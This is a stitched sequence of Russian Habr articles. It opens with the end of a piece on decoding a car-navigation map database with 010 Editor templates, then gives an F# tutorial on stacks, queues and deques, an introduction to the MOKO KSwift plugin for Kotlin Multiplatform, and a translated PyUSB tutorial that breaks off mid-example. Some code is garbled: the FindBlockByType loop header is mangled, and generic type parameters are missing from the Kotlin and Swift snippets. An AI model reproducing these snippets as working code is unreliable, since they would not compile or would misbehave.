FTell(), // offset where happened
seems_always_eq_1, seems_always_eq_1);
uint unknown3 ;
ushort always\_zero ; // 16bit = 0
if(always\_zero) // тут ноль не ноль
Printf("%X always\_zero = %i( %X )\n",
FTell(), // offset where happened
always\_zero, always\_zero);
}BT\_0x0D\_\_triple ;
string Read\_triple(BT\_0x0D\_\_triple &a){
local string s;
SPrintf(s, "%c %i %08X",
a.ch, a.seems\_always\_eq\_1,
a.unknown3
);
return s;
}
```
02-03Как видите, в консоли, во вкладке Output, - множество намеков, что seems\_always\_eq\_1 - вовсе не всегда равна 1, бывает и 0.
Поправляю условие проверки `if((seems_always_eq_1 != 1)&&(seems_always_eq_1 != 0) )` , после чего парсинг проходит без замечаний в логе. Значение always\_zero, похоже, действительно предназначена для выравнивания данных по границе 32 бита. Добавляю проверку в BT\_0x0D\_\_triple: BL\_ADDR bl\_type\_0c действительно ссылается всегда на тип 0x0C?
Нет, не всегда, говорит консоль. Чтобы визуально выделить те элементы, где тип блока bl\_type\_0c не 0xC, а 0xD , выделяю ярким нераскрашенный seems\_always\_eq\_1.
```
if(bl_type_0c.type == 0xC)
ubyte seems_always_eq_1 ; // type 0xC
else
ubyte seems\_always\_eq\_1 ; // type==0xD
if((seems\_always\_eq\_1 != 1)&&(seems\_always\_eq\_1 != 0) )
Printf("%X i!=1 %i( %X )\n",
FTell(), // offset where shit happened
seems\_always\_eq\_1, seems\_always\_eq\_1);
```
Результат неожиданнен: в блоке типа 0xD в BT\_0x0D\_\_triple seems\_always\_eq\_1 *всегда* ==1, если bl\_type\_0c ведёт "наружу", является типом 0xC, и *всегда* ==0, если bl\_type\_0c.type == 0xD, то есть на тот же тип. Является bool - ссылка "наружу", или "внутрь", самое имя ей is\_ptr\_out.
Но, если часть ссылок ведёт внутрь, то на какие именно значения они указывают? Переписываю функцию, для отображения в Variables значения BT\_0x0D\_\_triple. Если is\_ptr\_out ==0, то в цикле "собираются" far\_away.cnt символов ch из BT\_0x0D\_\_triple, начиная с адреса far\_away.offset. Дерево?
```
string Read_triple(BT_0x0D__triple &a){
local string s;
if(a.is_ptr_out){
SPrintf(s, "%c -> %08X (%02X) 0x%0X:%i(%X)",
a.ch, a.bl_type_0c.raw, a.bl_type_0c.type,
a.far_away.offset, a.far_away.cnt, a.far_away.cnt
);
}else{
SPrintf(s,"---%c -> %08X (%02X) ->",
a.ch, a.bl_type_0c.raw, a.bl_type_0c.type);
local uint i; // Собираем все char, на которые указывает LIST
for(i=a.far_away.offset + i; // ch absolute addr
i<(a.far_away.offset + 4 +a.far_away.cnt * 12); // LIST end
i+= 12){ // 12 = sizeof(BT_0x0D__triple)
SPrintf(s,"%s %c", s, ReadByte(i+4));
}
}
return s;
}
```
### Блоки типа 0x0B, 0x0D, 0x0F и 0x11
Все данные блока типа 0x0D размечены, но когда в руки попадает ухватистый молоток, то трудно остановиться и не продолжать этим молотком забивать всё, что попадает под руку и хоть чуть-чуть похоже на гвоздь.
С минимальными изменениями, ранее сохраненный темплейт "util\_vdo\_stat.bt" выводит все варианты типов блоков в виде вызовов функции block().
```
block(0x00000000); // 12 1
block(0x00000800); // 13 1
block(0x00001000); // 07 1
block(0x00001800); // 0B 1
block(0x00002000); // 0A 1
block(0x00003000); // 0D 3
block(0x00010800); // 0C 692
block(0x011F6000); // 0F 31
block(0x012EA000); // 0E 1114
block(0x02401800); // 11 145
block(0x02763800); // 10 1524
block(0x048A2000); // 08 1
block(0x048A2800); // 09 9
block(0x048BC800); // 06 5198
block(0x055E0000); // 08 17
block(0x05620800); // 09 7192
block(0x0643F800); // 00 15329
block(0x127BF800); // 08 1
block(0x127C1000); // 09 169
block(0x1281C000); // 03 5867
block(0x13C2F000); // 08 1
block(0x13C30800); // 09 169
block(0x13C8A800); // 02 5809
block(0x15070800); // 08 1
block(0x15071000); // 09 54
block(0x1509C800); // 01 5279
block(0x16335000); // 08 1
block(0x16335800); // 09 86
block(0x16365800); // 16 15817
block(0x1C36A000); // 08 1
block(0x1C36A800); // 09 26
block(0x1C37A000); // 15 4097
block(0x1E00A800); // 08 1
block(0x1E00B000); // 09 3
block(0x1E010000); // 1C 1095
block(0x1E6E5800); // 08 1
block(0x1E6E6000); // 09 3
block(0x1E6EA000); // 14 324
block(0x1E90D800); // 08 1
block(0x1E90E000); // 09 1
block(0x1E910800); // 1D 114
```
Копипащу в основной темплейт, применяю, получаю в Variables представителей всех типов блоков. Визуально пытаюсь найти сходство сырых данных разных типов с данными в блоке 0x0D, похожие пытаюсь распарсить структурой BT\_0x0D.
Понимаю, что структуру блока BT\_0x0D правильно называть BT\_0x0B\_0x0D\_0x0F\_0x11: для этих типов блоков подходит один и тот же темплейт (его надо только подправить, чтобы лог был не такой грязный от сообщений, что тип не 0xD и не 0xC).
### Перед тем, как понять рекурсию, надо понять рекурсию
Из блока типа 0xB "внешние" "ссылки" ведут в 0xA. Из блока 0xD ссылки ведут в 0xC. Из 0x0F в 0x0E. Из 0x11 в 0x10. Везде получается ссылки ведут или в тот же тип блока, из которого вызываются, (по сути ссылаясь на массивы того же типа данных BT\_0x0D\_\_triple), или в тип блока на единицу меньший.
Редактирую BT\_0x0D\_\_triple.
* Добавляю перед описанием структуры BT\_0x0D\_\_triple её forward declaration для рекурсивного описания.
* Переименовываю BL\_ADDR bl\_type\_0c -> bl\_more\_info
* Добавляю local en\_BL\_TYPE en\_curr\_bl\_type = head.type; текущий блок
* Проверка раскараски фона is\_ptr\_out меняется if(bl\_more\_info.type == (en\_curr\_bl\_type-1) )1)
* Если !is\_ptr\_out, т.е. ссылка идет "внутрь" - создаётся массив дочерних структур BT\_0x0D\_\_triple (рекурсия, у дочерних так же создадутся дочерние и т.д. и т.п.)
```
struct BT_0x0D__triple; // forward declaration for recursive use
typedef struct{
BL_ADDR bl_more_info;
char ch ; // char
local en\_BL\_TYPE en\_curr\_bl\_type = head.type; // current bl type
if(bl\_more\_info.type == (en\_curr\_bl\_type-1) ){
ubyte is\_ptr\_out ; // outer link
}else{
ubyte is\_ptr\_out ; // innler link
}
// next for LIST far\_away, have use size and offset - from bl\_type\_0c
local uint size = bl\_more\_info.size \*0x800; // size in blocks, \* 0x800
local uint offset = bl\_more\_info.offset;
LIST far\_away ;
ushort always\_zero ; // 16bit value = 0
if(always\_zero) // тут ноль не ноль
Printf("%X always\_zero = %i( %X )\n",
FTell(), // offset where happened
always\_zero, always\_zero);
if(!is\_ptr\_out){
// jmp and recursive declare children struct
local uint return\_addr = FTell();
FSeek(far\_away.offset);
BT\_0x0D\_\_triple childs[far\_away.cnt];
FSeek(return\_addr);
}
}BT\_0x0D\_\_triple ;
string Read\_triple(BT\_0x0D\_\_triple &a){
local string s;
if(a.is\_ptr\_out){
SPrintf(s, "%c -> %08X (%02X) cnt:%i",
a.ch, a.bl\_more\_info.raw, a.bl\_more\_info.type,
a.far\_away.cnt
);
}else{
SPrintf(s,"---%c -> %08X (%02X) cnt:%i ->",
a.ch, a.bl\_more\_info.raw, a.bl\_more\_info.type, a.far\_away.cnt);
local uint i; // Собираем все char, на которые указывает LIST
for(i=a.far\_away.offset + i; // ch absolute addr
i<(a.far\_away.offset + 4 +a.far\_away.cnt \* 12); // LIST end
i+= 12){ // 12 = sizeof(BT\_0x0D\_\_triple)
SPrintf(s,"%s %c", s, ReadByte(i+4));
}
}
return s;
}
```
### Устройства ввода-вывода автонавигации.
А ведь я видел нечто похожее в автонавигаторе.
Для ввода адреса пункта назначения необходимо последовательно ввести в четыре поля - страна, город, улица, дом (на экране они называются Country, City, Road, Number) строковые значения. Буквы для ввода последовательно выбираются на всплывающей при редактировании поля экранной клавиатуре энкодером, причем на этой QWERTY-клавиатуре доступны к выбору не все буквы, а лишь некоторые.
Перемещение фокуса по буквам клавиатуры - вращением энкодера, выбор буквы - нажатием того же энкодера.
Вначале доступно к заполнению только поле страна, на остальные перейти нельзя. Для официального диска Восточной Европы при заполнении страны на клавиатуре активны и доступны буквы B, C, E, L, M, P, R, S, остальные неактивны. При выборе L (энкодер с нажатием) появляется меню выбора, LATVIJA или LIETUVA. А если выбрать P - поле страна сразу заполняется значением POLAND и фокус переходит на поле город, заполнение которого происходит аналогичным способом: последовательным вводом букв из предложенных на клавиатуре. Набрать можно только те города, которые расположены в Польше. После курсор уходит на поле улица, которая заполняется так же, невозможно для Poland, Olsztyn набрать название улицы, которой в Ольштыне нет.
Нагляднее описано в мануале на [VDO VDO DAYTON PN 6000](https://www.directutor.com/content/user-manual-vdo-vdo-dayton-pn-6000) на 18 странице, модель, картинка другие, но логика и данные те самые.
```
block(0x00001800); // 0B 1 BT_0x0B_0x0D_0x0F_0x11
block(0x00002000); // 0A 1
block(0x00003000); // 0D 3 BT_0x0B_0x0D_0x0F_0x11
block(0x00010800); // 0C 692
block(0x011F6000); // 0F 31 BT_0x0B_0x0D_0x0F_0x11
block(0x012EA000); // 0E 1114
block(0x02401800); // 11 145 BT_0x0B_0x0D_0x0F_0x11
block(0x02763800); // 10 1524
```
Предварительная гипотеза - а не функционал ли ввода адреса и обеспечивают рассматриваемые типы?
По количеству блоков, по последовательности расположения в carindb можно тогда предположить, что 0xB - выбор букв для страны, тогда 0xA - страна. Тогда следующая пара 0xD и 0xC - город, 0xF-0xE - улица, 0x11-0x10 - дом.
### Итоги
Результаты статьи суммарно:
* Структура PTR, псевдо-интеллектуальный указатель внутри блока
* Структура LIST - указатель на массив, с количеством элементов
* Рекурсивная структура с неэстетичным временным названием BT\_0x0D\_\_triple, описывающая единицу информации в блоках 0x0B, 0x0D, 0x0F, 0x11
* Найдены блоки, которые описываются одной и той же структурой.
* Структура BT\_0x0B\_0x0D\_0x0F\_0x11 полностью размечает всё содержимое блоков с типами 0x0B, 0x0D, 0x0F, 0x11
* Рекурсивные структуры данных 010Editor
* Гипотеза о ~~~существовании обитаемых миров~~~ функциональном назначении распарсенных данных
* Данные не только BigEndian, но еще выравниваются по границе 32 бита.
* Темплейт работает и на официальных картах carindb\_ee carindb\_bnl (с учетом, что там блоки 0x0B, 0x0D, 0x0F, 0x11 находятся по другим адресам)
* Чтобы уйти от привязки к "волшебным цифрам" отступа при вызове функции block(), напишу в инклюд "inc\_block.bt" функцию FindBlockByType(en\_BL\_TYPE type), возвращающую адрес типа BL\_ADDR первого попавшегося блока с подходящим типом. Нельзя возвращать смещение, потому что при ненахождении функция возвращает 0.
```
// Return finded first block addreses equal argument type
uint FindBlockByType(en_BL_TYPE type){
local UINT ptr, data;
for(ptr=0; ptr>11 == data >>8){
// О, тут начало блока, data - BL\_ADDR
//ReadUByte(FTell()+5); // read type
if( ReadUByte(FTell()+5) == type){ // finded ?
return data; // And now my watch is ended
}
}
}
return 0; // return NO FINDED
}
```
В основном темплейте теперь для объявления блока необходимого типа на любых исходных carindb достаточно такой конструкции: `block(FindBlockByType(0x0B)); // 0B 1 BT_0x0B_0x0D_0x0F_0x11`
Дальнейший анализ - в [следующей статье](https://habr.com/ru/post/598673/). | https://habr.com/ru/post/597851/ | null | ru | null |
# Реализация стека, очереди и дека на языке F# в функциональном стиле
Недавно я познакомился с концепцией функционального программирования. Возможно, в этой статье я изобретаю велосипед, однако я считаю, что эти действия являются весьма полезными для обучения, а также для более чёткого понимания функционального программирования.
Давайте попробуем реализовать основные типы данных: стек, очередь и дек — на языке F#, по возможности используя чистые функции. Естественно, они будут основаны на списках.
Прежде всего, необходимо дать определение чистой функции. Самое простое определение звучит так: **функция называется чистой, если она детерминирована и не имеет побочных эффектов**
Детерминированность функции означает то, что она выдаёт одинаковый результат для одинакового набора аргументов.
Побочными эффектами функций являются изменение глобальных переменных, обработка исключений, операции ввода-вывода, и т. д.
#### Стек
Прежде всего начнём со стека. В F# основным типом данных для хранения нескольких однотипных элементов является не массив, а список. Если перед нами стоит задача превратить список в стек, то какие функции нам понадобятся?
Во-первых, нам необходима функция для добавления элемента в вершину стека. Эта функция традиционно называется push. Однако эта функция нас особо не интересует, поскольку она очень просто реализуется:
```
let push stk el = el :: stk
```
Довольно простая функция, которая имеет тип **'a list -> 'a -> 'a list**, однако не все дальнейшие функции позволят обращаться с собой таким простым способом.
Куда интереснее дело обстоит с выталкиванием вершины из стека, особенно, если мы ограничиваем себя чистыми функциями. Как же нам справиться с этой задачей?
Для этого достаточно вспомнить, что при определении функции pop всегда было два подхода: либо выталкивался объект из вершины стека и одновременно удалялся из него, либо сперва вызывался метод для получения значения вершины, а затем метод для удаления вершины.
Первый подход не может быть выполнен в функциональном стиле, поскольку это явный пример функции с побочным эффектом: значение стека возвращается как результат функции, и его удаление является побочным эффектом.
Более того, применяя первый подход, мы лишаемся и детерминированности функции: применение её к одному и тому же экземпляру стека даст нам разный результат.
Так что остановимся на втором подходе. Для этого напишем две функции: head, которая будет возвращать значение в вершине стека, и pop, которое будет возвращать список, лишённый вершины.
Будем разбираться с первой. Что нам необходимо возвратить? Всего возможно два варианта: стек пустой или стек не пустой. Если стек не пустой, то всё ясно: выводим элемент из вершины. А если стек пустой? Ведь вместо условных операторов в F# используется сопоставление шаблонов. У нас стоит ограничение, что при применении разных шаблонов должны возвращаться данные одинакового типа. На помощь приходят т. н. **опциональные типы**, которые принимают значения **Some(x)** или **None**.
Теперь мы можем написать функцию:
```
let head stk =
match stk with
|[] -> None
|hd :: _ -> Some(hd)
```
Если мы посмотрим на тип функции head, мы увидим, что она имеет тип **'a list -> 'a option**, т. е. принимает список в качестве параметра и возвращает значение опционального типа.
Функция работает следующим образом: приняв список stk, она смотрит на его значение. Если он пустой, т. е. stk = [], то она возвращает None, что соответсвует тому, что вершины у этого списка нет, если не пустой, то отделяет первый элемент списка от остальных и возвращает его в виде опционального типа. Знак подчёркивания в сопоставлении шаблонов означает, что функции неважно, что должно находиться в этом месте.
При этом наша функция является чистой: присутствует детерминированность, отсутствуют побочные эффекты.
Глядя на эту функцию, теперь мы легко напишем и функцию pop, которая будет в некотором роде симметрична, однако не будет нуждаться в опциональном типе, поскольку роль None будет выполнять пустой список:
```
let pop stk =
match stk with
|[] -> []
|_:: tl -> tl
```
Эта функция имеет тип: **'a list -> 'a list**
Таким образом, следующий код даёт нам все функции для работы со стеком.
```
let push stk el = el :: stk
let head stk =
match stk with
|[] -> None
|hd :: _ -> Some(hd)
let pop stk =
match stk with
|[] -> []
|_ :: tl -> tl
```
#### Очередь
Очередь отличается от стека тем, что добавление нового элемента происходит в конец списка, а извлечение происходит из начала очереди. Реализуем функции add (добавление элемента в очередь), head (кто сейчас стоит в очереди) и delque (удаление элмента из очереди). И если функции head и delque не вызывают сомнений, то попытка написать **let head = que :: el** приведёт к ошибке компиляции, поскольку оператор :: имеет тип **'a -> 'a list -> 'a list**, т. е. левый операнд не может быть списком.
Проблема вновь решается с использованием сопоставления шаблонов, однако теперь у нас в ход вводятся рекурсивные функции для того, чтобы добраться до конца. Если очередь пустая, то ей всё равно, добавлять с конца или с начала, поскольку их нет, так что добавим в начало, которое одновременно будет концом. Если же список не пустой, то разобьём его на первый элемент и все остальные, и применим рекурсивно нашу функцию к оставшимся элементам списка.
```
let rec add que el =
match que with
|[] -> el :: []
|hd :: tl -> hd :: (add tl el)
```
Таким образом, полный набор функций для очереди имеет вид:
```
let rec add que el =
match que with
|[] -> el :: []
|hd :: tl -> hd :: (add tl el)
let head que =
match que with
|[] -> None
|hd :: _ -> Some(hd)
let delque que =
match que with
|[] -> []
|_ :: tl -> tl
```
#### Дек
Наиболее интересная структура данных — это дек, или двунаправленная очередь, т. е. добавление и удаление элементов может происходить как с начала, так и с конца. По аналогии с функциями head и pop для стека введём функции tail и delend для дека. Здесь реализация уже будет поинтереснее. Нам нужен последний элемент, однако в функциональном программировании нет циклов. Как нам быть? Вновь на помощь приходит рекурсия, однако рано радоваться.
Если мы напишем совсем по аналогии:
```
let rec tail deq =
match deq with
|[] -> None
|_ :: tl -> tail tl
```
то мы успешно получим None **для любого аргумента**. Это связано с тем, что **любой список** в F# представим в виде **a = a :: []**, т. е. если мы последовательно будем разматывать клубок списка, то в конце концов у нас ничего не останется.
Эта проблема решается добавлением всего лишь одного условия, если вспомнить, что оператор :: имеет тип **'a -> 'a list -> 'a list**, т. е. операнд, стоящий слева от ::, должен иметь тип элемента списка, а не быть самим списком, поэтому изменим код следующим образом:
```
let rec tail deq =
match deq with
|[] -> None
|hd :: [] -> Some(hd)
|_ :: tl -> tail tl
```
Изменённая функция теперь будет работать правильно, поскольку рекурсия закончится на последнем элементе дека и благополучно вернёт его.
С этим разобрались, а что нам делать с функцией delend? Нам надо заменить последний элемент списка, но как это сделать? Давайте вспоним, что оператор :: возвращает список и является ассоциативным справа, что позволяет рассмотреть следующий код:
```
let rec delend deq =
match deq with
|[] -> []
|hd1 :: hd2 :: [] -> hd1 :: []
|hd :: tl -> hd :: (delend tl)
```
Вот он, наш искомый код. Благодаря оператору :: в правой части мы не потеряем начало списка, а рекурсия закончится на предпоследнем элементе списка, создав новый список без бывшего последнего элемента.
Таким образом, для дека мы получаем следующий набор функций:
```
let addbegin deq el = el :: deq
let rec addend deq el =
match deq with
|[] -> el :: []
|hd :: tl -> hd :: (addend tl el)
let head deq =
match deq with
|[] -> None
|hd :: _ -> Some(hd)
let delbegin deq =
match deq with
|[] -> []
|_ :: tl -> tl
let rec tail deq =
match deq with
|[] -> None
|hd :: [] -> Some(hd)
|_ :: tl -> tail tl
let rec delend deq =
match deq with
|[] -> []
|hd1 :: hd2 :: [] -> hd1 :: []
|hd :: tl -> hd :: (delend tl)
```
Спасибо за внимание! Любой код, написанный в данной статье, может быть проверен в любой среде, допускающей программирование под F# | https://habr.com/ru/post/236375/ | null | ru | null |
# Как сделать Swift-friendly API с Kotlin Multiplatform Mobile
Kotlin Multiplatform Mobile позволяет компилировать Kotlin код в нативные библиотеки для Android и iOS. И если в случае с Android полученная из Kotlin библиотека будет интегрироваться с приложением написанным на Kotlin, то для iOS интеграция будет с Swift и на стыке Kotlin и Swift, из-за разницы языков, происходит потеря удобства использования. В основном это связано с тем, что компилятор Kotlin/Native (который компилирует Kotlin в iOS framework и является частью Kotlin Multiplatform) генерирует публичное API фреймворка на ObjectiveC, а из Swift мы обращаемся к Kotlin за счет этого сгенерированного ObjectiveC API, так как Swift имеет интероп с ObjectiveC. Далее я покажу примеры ухудшения API на стыке Kotlin-Swift и покажу инструмент, который позволяет получить более удобное API для использования из Swift.
Рассмотрим пример использования sealed interface в Kotlin:
```
sealed interface UIState {
object Loading : UIState
object Empty : UIState
data class Data(val value: T) : UIState
data class Error(val throwable: Throwable) : UIState
}
```
Это удобная конструкция для описания состояний, которая активно используется в Kotlin коде. Теперь посмотрим как она выглядит со стороны Swift?
```
public protocol UIState { }
public class UIStateLoading : KotlinBase, UIState { }
public class UIStateEmpty : KotlinBase, UIState { }
public class UIStateData : KotlinBase, UIState where T : AnyObject {
open var value: T? { get }
}
public class UIStateError : KotlinBase, UIState {
open var throwable: KotlinThrowable { get }
}
```
Удобный для использования в Kotlin sealed interface со стороны Swift выглядит просто набором классов, которые имеют общий интерфейс. Разумеется в таком случае нельзя надеяться на проверку полноты реализации `switch`, так как это не `enum`. Для разработчиков знакомых с Swift более правильным аналогом sealed interface считается `enum`, например:
```
enum UIState {
case loading
case empty
case data(T)
case error(Error)
}
```
Мы можем написать со стороны Swift такой enum и преобразовывать полученный из Kotlin `UIState` в наш Swift enum, но что если таких sealed interface будет много? Достаточно распространен подход MVI в котором состояние экрана и события описываются именно sealed class/interface. Писать под каждый такой случай аналог в swift - трудоемко. И в дополнение у нас появляется риск рассинхронизации класса в Kotlin и enum в Swift.
Решая эту проблему мы в IceRock сделали специальный gradle plugin - [MOKO KSwift](https://github.com/icerockdev/moko-kswift). Это gradle plugin, который читает все klib, используемые при компиляции iOS framework. klib это формат библиотек, в который Kotlin/Native компилирует всё, перед тем как собирать финальные бинарники под конкретный таргет. Внутри klib доступно множество метаданных, которые дают полную информацию о всем публичном kotlin api, без каких либо потерь информации. Наш плагин анализирует все klib, которые указаны в export для iOS framework (то есть те, API которых будет включено в header фреймворка), и на основе полного представления о kotlin коде генерирует Swift код, в дополнение к тому что есть в Kotlin. Для нашего примера с `UIState` плагин автоматически генерирует следующую конструкцию:
```
public enum UIStateKs {
case loading
case empty
case data(UIStateData)
case error(UIStateError)
public init(\_ obj: UIState) {
if obj is MultiPlatformLibrary.UIStateLoading {
self = .loading
} else if obj is MultiPlatformLibrary.UIStateEmpty {
self = .empty
} else if let obj = obj as? MultiPlatformLibrary.UIStateData {
self = .data(obj)
} else if let obj = obj as? MultiPlatformLibrary.UIStateError {
self = .error(obj)
} else {
fatalError("UIStateKs not syncronized with UIState class")
}
}
}
```
Мы автоматически получаем Swift enum, который гарантированно соответствует sealed interface из Kotlin. Этот enum можно создать передав в него объект `UIState`, который мы получаем из Kotlin. И в этом enum есть доступ к классам из Kotlin, чтобы получить всю необходимую информацию. Так как данный код полностью генерируется автоматически при каждой компиляции, то мы избегаем рисков связанных с человеческим фактором - машина не может забыть обновить код в Swift после изменения в Kotlin.
Перейдем к следующему примеру. В [MOKO mvvm](https://github.com/icerockdev/moko-mvvm) (наш порт android architecture components с android в Kotlin Multiplatform Mobile) для привязки `LiveData` к UI элементам мы реализовали для iOS набор extension функций, например:
```
fun UILabel.bindText(
liveData: LiveData
): Closeable
```
Но после компиляции в iOS framework нас ждало разочарование, ведь Kotlin/Native не умеет добавлять extension'ы к платформенным классам:
```
public class UILabelBindingKt : KotlinBase {
open class func bindText(_ receiver: UILabel, liveData: LiveData) -> Closeable
}
```
В использовании вместо удобного API `label.bindText(myLiveData)` требуется `UILabelBindingKt.bindText(label, myLiveData)`.
Данную проблему также позволяет решить MOKO KSwift, так как обладает полными знаниями о всем публичном интерфейсе Kotlin библиотек. В результате генерируется следующая функция:
```
public extension UIKit.UILabel {
public func bindText(liveData: LiveData) -> Closeable {
return UILabelBindingKt.bindText(self, liveData: liveData)
}
}
```
На данный момент в плагине KSwift доступно "из коробки" два генератора - `SealedToSwiftEnumFeature` (для генерации swift enum) и `PlatformExtensionFunctionsFeature` (для генерации extension к платформенным классам), но сам плагин имеет расширяемую API, вы можете реализовать генерацию нужного вам Swift кода в дополнение к вашему Kotlin коду без внесения изменений непосредственно в плагин - просто в своем gradle проекте. Подключив плагин как зависимость к `buildSrc` можно будет написать свой генератор, например:
```
import dev.icerock.moko.kswift.plugin.context.ClassContext
import dev.icerock.moko.kswift.plugin.feature.ProcessorContext
import dev.icerock.moko.kswift.plugin.feature.ProcessorFeature
import io.outfoxx.swiftpoet.DeclaredTypeName
import io.outfoxx.swiftpoet.ExtensionSpec
import io.outfoxx.swiftpoet.FileSpec
class MyKSwiftGenerator(filter: Filter) : ProcessorFeature(filter) {
override fun doProcess(featureContext: ClassContext, processorContext: ProcessorContext) {
val fileSpec: FileSpec.Builder = processorContext.fileSpecBuilder
val frameworkName: String = processorContext.framework.baseName
val classSimpleName = featureContext.clazz.name.substringAfterLast('/')
fileSpec.addExtension(
ExtensionSpec
.builder(
DeclaredTypeName.typeName("$frameworkName.$classSimpleName")
)
.build()
)
}
class Config(
var filter: Filter = Filter.Exclude(emptySet())
)
companion object : Factory {
override fun create(block: Config.() -> Unit): MyKSwiftGenerator {
val config = Config().apply(block)
return MyKSwiftGenerator(config.filter)
}
}
}
```
В приведенном примере мы включаем анализ Kotlin классов (`ClassContext`) и генерируем для каждого из Kotlin классов extension в Swift. В классах `Context` доступна вся информация из метаданных klib, а в метаданных есть вся информация о классах, методах, пакетах и прочем, в том же объеме что и у компиляторных плагинов, но доступно только для чтения (в то время как компиляторные плагины позволяют менять код на этапе компиляции).
На данный момент плагин является новым решением и может работать некорректно в некоторых случаях, о которых стоит обязательно сообщать в [issue на GitHub](https://github.com/icerockdev/moko-kswift/issues). Для сохранения возможности использовать плагин и в случаях, когда генерируется некорректный код, добавлена возможность фильтрации подвергаемых генерации сущностей. Например для исключения из генерации класса `UIState` нужно прописать в gradle:
```
kswift {
install(dev.icerock.moko.kswift.plugin.feature.SealedToSwiftEnumFeature) {
filter = excludeFilter("ClassContext/moko-kswift.sample:mpp-library-pods/com/icerockdev/library/UIState")
}
}
```
А также доступна фильтрация по обрабатываемым библиотекам и возможность включать режим `includeFilter` (чтобы генерация происходила только для указанных сущностей).
Если вы используете у себя технологию Kotlin Multiplatform Mobile, рекомендую вам попробовать плагин на своем проекте (и дать обратную связь на github) - работа iOS разработчиков станет лучше, когда они получат Swift-friendly API для работы с Kotlin модулем. А также, по возможности, делитесь своими вариантами генераторов также на [GitHub](https://github.com/icerockdev/moko-kswift) - чем больше улучшения API будет поддерживаться плагином "из коробки" - тем проще будет всем.
Отдельное спасибо Святославу Щербине из JetBrains, за подсказку про возможность использования klib metadata. | https://habr.com/ru/post/571714/ | null | ru | null |
# Программирование с PyUSB 1.0
***От переводчика**:
Это перевод руководства [Programming with PyUSB 1.0](https://github.com/pyusb/pyusb/blob/master/docs/tutorial.rst)
Данное руководство написано силами разработчиков PyUSB, однако быстро пробежавшись по коммитам я полагаю, что основной автор руководства — [walac](https://github.com/walac).*
Позвольте мне представиться
---------------------------
**PyUSB 1.0** — это библиотека [Python](http://www.python.org/) обеспечивающая легкий доступ к [USB](http://www.usb.org/). PyUSB предоставляет различные функции:
* ***На 100% написана на Python:***
В отличии от версий 0.x, которые были написаны на C, версия 1.0 написанна на Python. Это позволяет программистам на Python без опыта работы на C лучше понять как работает PyUSB.
* ***Нейтральность платформы:***
Версия 1.0 включает в себя фронтенд-бэкенд схему. Она изолирует API от специфичных с точки зрения системы деталей реализации. Соединяет эти два слоя интерфейс IBackend. PyUSB идет вместе со встроенными бэкендами для libusb 0.1, libusb 1.0 и OpenUSB. Вы можете сами написать свой бэкенд, если хотите.
* ***Портативность:***
PyUSB должен запускаться на любой платформе с Python >= 2.4, [ctypes](http://docs.python.org/library/ctypes.html) и, по крайней мере, одним из поддерживаемых встроенных бэкендов.
* ***Простота:***
Взаимодействие с устройством [USB](http://www.usb.org/) никогда не было таким простым! USB — сложный протокол, а у PyUSB есть хорошие предустановки для наиболее распространенных конфигураций.
* ***Поддержка изохронных передач:***
PyUSB поддерживает изохронные передачи, если лежащий в основе бэкенд поддерживает их.
Несмотря на то, что PyUSB делает программирование USB менее болезненным, в этом туториале предполагается, что у Вас есть минимальные знания USB протокола. Если Вы ничего не знаете о USB, я рекомендую Вам прекрасную книгу Яна Аксельсона **«Совершенный USB»** (Jan Axelson **«USB Complete»**).
Довольно разговоров, давайте писать код!
----------------------------------------
### Кто есть кто
Для начала, давайте дадим описание модулям PyUSB. Все модули PyUSB находятся под пекетом usb, с последующими модулями:
| Модуль | Описание |
| --- | --- |
| core | Основной модуль USB. |
| util | Вспомогательные функции. |
| control | Стандартные запросы управления. |
| legacy | Слой совместимости с версиями 0.x. |
| backend | Субпакет содержащий встроенные бэкенды. |
К примеру, чтобы импортировать модуль core, введите следующее:
```
>>> import usb.core
>>> dev = usb.core.find()
```
### Ну что ж начнём
Далее следует простенькая программа, которая посылает строку 'test' в первый найденный источник данных (endpoint OUT):
```
import usb.core
import usb.util
# находим наше устройство
dev = usb.core.find(idVendor=0xfffe, idProduct=0x0001)
# оно было найдено?
if dev is None:
raise ValueError('Device not found')
# поставим активную конфигурацию. Без аргументов, первая же
# конфигурация будет активной
dev.set_configuration()
# получим экземпляр источника
cfg = dev.get_active_configuration()
intf = cfg[(0,0)]
ep = usb.util.find_descriptor(
intf,
# сопоставим первый источник данных
custom_match = \
lambda e: \
usb.util.endpoint_direction(e.bEndpointAddress) == \
usb.util.ENDPOINT_OUT)
assert ep is not None
# записываем данные
ep.write('test')
```
Первые две строки импортируют модули пакета PyUSB. usb.core — основной модуль, а usb.util содержит вспомогательные функции. Следующая команда ищет наше устройство и возвращает экземпляр объекта, если находит. Если нет, возвращается None. Далее, мы устанавливаем конфигурацию, которую будем использовать. Заметьте: отсутствие аргументов означает, что нужная конфигурация была проставлена по-умолчанию. Как Вы увидите, во многих функциях PyUSB есть настройки по-умолчанию для большинства распространенных устройств. В этом случае, ставится первая найденная конфигурация.
Затем, мы ищем конечную точку в которой заинтересованы. Мы ищем ее внутри первого интерфейса, который у нас есть. После того как нашли эту точку мы посылаем в неё данные.
Если нам заранее известен адрес конечной точки, мы можем просто вызвать функцию write объекта device:
```
dev.write(1, 'test')
```
Здесь мы пишем строку 'test' в контрольную точку под адресом *1*. Все эти функции будут разобраны лучше в последующих разделах.
### Что не так?
Каждая функция в PyUSB вызывает исключение в случае ошибки. Помимо [стандартных исключений Python](http://docs.python.org/library/exceptions.html), PyUSB определяет usb.core.USBError для ошибок связанных с USB.
Вы также можете использовать функции лога PyUSB. Он использует модуль [logging](http://docs.python.org/library/logging.html). Для его использования определите переменную окружения PYUSB\_DEBUG с одним из следующих уровней логирования: critical, error, warning, info или debug.
По-умолчанию сообщения посылаются в [sys.stderr](http://docs.python.org/library/sys.html). Если хотите, Вы можете перенаправить сообщения лога в файл определив переменную окружения PYUSB\_LOG\_FILENAME. Если её значение — корректный путь к файлу, сообщения будут записываться туда, иначе они будут посылаться в sys.stderr.
### Где ты?
Функция find() в модуле core используется чтобы найти и пронумеровать устройства присоединенные к системе. К примеру, скажем что у нашего устройства есть vendor ID со значением 0xfffe и product ID равный 0x0001. Если нам нужно найти это устройство мы сделаем так:
```
import usb.core
dev = usb.core.find(idVendor=0xfffe, idProduct=0x0001)
if dev is None:
raise ValueError('Our device is not connected')
```
Вот и всё, функция возвратит объект usb.core.Device, который представляет наше устройство. Если устройство не найдено оно возвратит None. На самом деле Вы можете использовать любое поле класса Device [Descriptor](http://www.beyondlogic.org/usbnutshell/usb5.htm), которое хотите. К примеру, что если мы захотим узнать есть ли USB-принтер подключенный к системе? Это очень легко:
```
# на самом деле это не всё, продолжайте читать
